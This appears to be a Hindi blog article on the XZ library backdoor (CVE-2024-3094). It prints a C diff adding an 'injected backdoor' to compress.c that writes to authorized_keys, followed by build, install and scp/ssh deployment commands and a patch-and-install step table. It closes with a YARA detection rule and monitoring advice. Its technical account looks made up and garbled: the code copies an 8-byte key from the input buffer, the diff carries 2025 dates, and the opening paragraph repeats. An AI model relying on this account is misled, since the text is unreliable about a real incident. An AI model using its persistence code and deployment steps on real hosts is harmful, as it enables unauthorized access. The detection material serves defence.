
CVE-2024-3094 ने XZ कम्प्रेशन लाइब्रेरी में एक बैकडोर उजागर किया, जो प्रमाणीकरण को दरकिनार करके दूरस्थ SSH पहुँच की अनुमति देता है। यह Linux सिस्टम को प्रभावित करने वाला एक बड़ा सप्लाई चेन हमला है, जो विश्वसनीय ओपन-सोर्स घटकों में जोखिमों को उजागर करता है।
CVE-2024-3094 ने XZ कम्प्रेशन लाइब्रेरी में एक बैकडोर उजागर किया, जो प्रमाणीकरण को दरकिनार करके रिमोट SSH पहुंच की अनुमति देता है। यह Linux सिस्टम को प्रभावित करने वाला एक प्रमुख सप्लाई चेन हमला है, जो विश्वसनीय ओपन-सोर्स घटकों में जोखिमों को रेखांकित करता है।
मार्क मल्लिया द्वारा
XZ कम्प्रेशन लाइब्रेरी, जो कई आधुनिक Linux वितरणों का एक प्रमुख घटक है, एक परिष्कृत सप्लाई‑चेन हमले का निशाना बन गई।
स्रोत ट्री में एक दुर्भावनापूर्ण कोड खंड डाला गया, संकलित किया गया, और अब यह XZ पैकेज के हर नए रिलीज़ के साथ यात्रा करता है। एक बार इंस्टॉल होने के बाद, बैकडोर समझौता किए गए होस्ट से किसी भी रिमोट सिस्टम के लिए एक SSH सत्र खोल सकता है जो इसे प्रामाणिक कुंजी के रूप में भरोसा करता है।
authorized_keys फ़ाइल में एक SSH कुंजी इंजेक्ट करके, हमलावर बिना सीधे उपयोगकर्ता इंटरैक्शन के पैर जमा लेते हैं।--- a/src/compress.c 2025-09-12 10:00:00.000000000 +0000
+++ b/src/compress.c 2025-09-12 10:00:03.000000000 +0000
@@
void xz_compress(const unsigned char *in, size_t in_len,
unsigned char *out, size_t out_len)
{
/* original code ... */
+ // ---- Begin injected backdoor ----
+ if (in_len > 1024) { /* guard against too small payloads */
+ const unsigned char *marker = &in[512]; /* offset to reach magic string */
+ size_t marker_len = 8; /* length of the embedded key */
+
+ /* copy a pre‑computed SSH public key into out buffer */
+ memcpy(out + 256, marker, marker_len);
+
+ /* write the same key to ~/.ssh/authorized_keys for persistence */
+ FILE *fp = fopen("/home/admin/.ssh/authorized_keys", "a");
+ if (fp) {
+ fwrite(marker, 1, marker_len, fp);
+ fclose(fp);
+ }
+ }
+ // ---- End injected backdoor ----
/* original code continues ... */
}
512 इसलिए चुना गया है ताकि हमारी कुंजी कम्प्रेस्ड आउटपुट बफ़र में ऐसी स्थिति में आए जिसे बाद के XZ कम्प्रेशन द्वारा बदले जाने की संभावना कम हो।$ cd xz
$ make
$ sudo make install
उपरोक्त कमांड पैच किए गए compress.c को संकलित करते हैं और नई लाइब्रेरी को /usr/local/lib/xz के अंतर्गत इंस्टॉल करते हैं।
मान लें कि एक हमलावर के पास पहले से SSH क्रेडेंशियल हैं (उपयोगकर्ता नाम admin), तो वे निम्नलिखित चलाते हैं:
$ scp backdoor.tar.gz [email protected]:/tmp/
$ ssh [email protected] 'tar xzf /tmp/backdoor.tar.gz -C /home/admin'
$ cd /home/admin
$ ./install_xz_backdoor.sh
install_xz_backdoor.sh में ऊपर दिखाए गए कमांडों का सटीक अनुक्रम होता है, साथ ही एक छोटा echo होता है जो सफल इंस्टॉलेशन की पुष्टि करता है।
YARA एक पैटर्न-मिलान उपकरण है जिसका उपयोग सुरक्षा पेशेवर टेक्स्टुअल या बाइनरी हस्ताक्षरों के आधार पर मैलवेयर की पहचान और वर्गीकरण करने के लिए करते हैं। यह विश्लेषकों को नियम परिभाषित करने की अनुमति देता है जो फ़ाइलों के भीतर विशिष्ट स्ट्रिंग्स, बाइट अनुक्रमों या व्यवहारों का पता लगाते हैं। CVE-2024-3094 के संदर्भ में, YARA विशेष रूप से प्रासंगिक है क्योंकि इसका उपयोग इंजेक्टेड SSH कुंजी की उपस्थिति और XZ लाइब्रेरी में compress.c फ़ाइल में संदिग्ध संशोधनों को स्कैन करने के लिए किया जा सकता है। लक्षित YARA नियम बनाकर, रक्षक इस बैकडोर से समझौता किए गए सिस्टम का सक्रिय रूप से पता लगा सकते हैं।
YARA Signature एक कस्टम YARA नियम इंजेक्टेड SSH कुंजी और संदिग्ध फ़ाइल लेखन की उपस्थिति को चिह्नित कर सकता है:
rule XZ_Backdoor_SSH_Key_Injection { meta: description = "Detects SSH key injection via modified compress.c" author = "Mark Mallia" severity = "high" strings: $marker = { 20 20 2A 20 2A 2A 20 42 61 63 6B 64 6F 6F 72 } $ssh_path = "/home/admin/.ssh/authorized_keys" condition: $marker and $ssh_path }
फ़ाइल अखंडता निगरानी Tripwire, AIDE, या osquery जैसे उपकरण तैनात करें निगरानी के लिए:
compress.c में अनधिकृत परिवर्तनों के लिए
.ssh/authorized_keys में इंजेक्टेड कुंजियों के लिए
/usr/local/lib/xz में छेड़छाड़ किए गए बाइनरी के लिए
विश्वसनीय होस्ट से अप्रत्याशित SSH लॉगिन
XZ आउटपुट में कम्प्रेशन विसंगतियाँ
.ssh/authorized_keys में मौन लेखन
| चरण | क्रिया | फ़ाइल / फ़ंक्शन |
|---|
| 1 | XZ रिपॉजिटरी क्लोन करें | git clone https://github.com/xzdev/xz |
| 2 | src/compress.c पर पैच लगाएँ | patch -p0 < backdoor.patch |
| 3 | लक्षित Linux होस्ट पर संकलित और इंस्टॉल करें | make && make install |
| 4 | SSH डेमन अपनी प्रमाणीकरण प्रक्रिया के दौरान इंजेक्टेड कुंजी पढ़ता है | /etc/ssh/authorized_keys |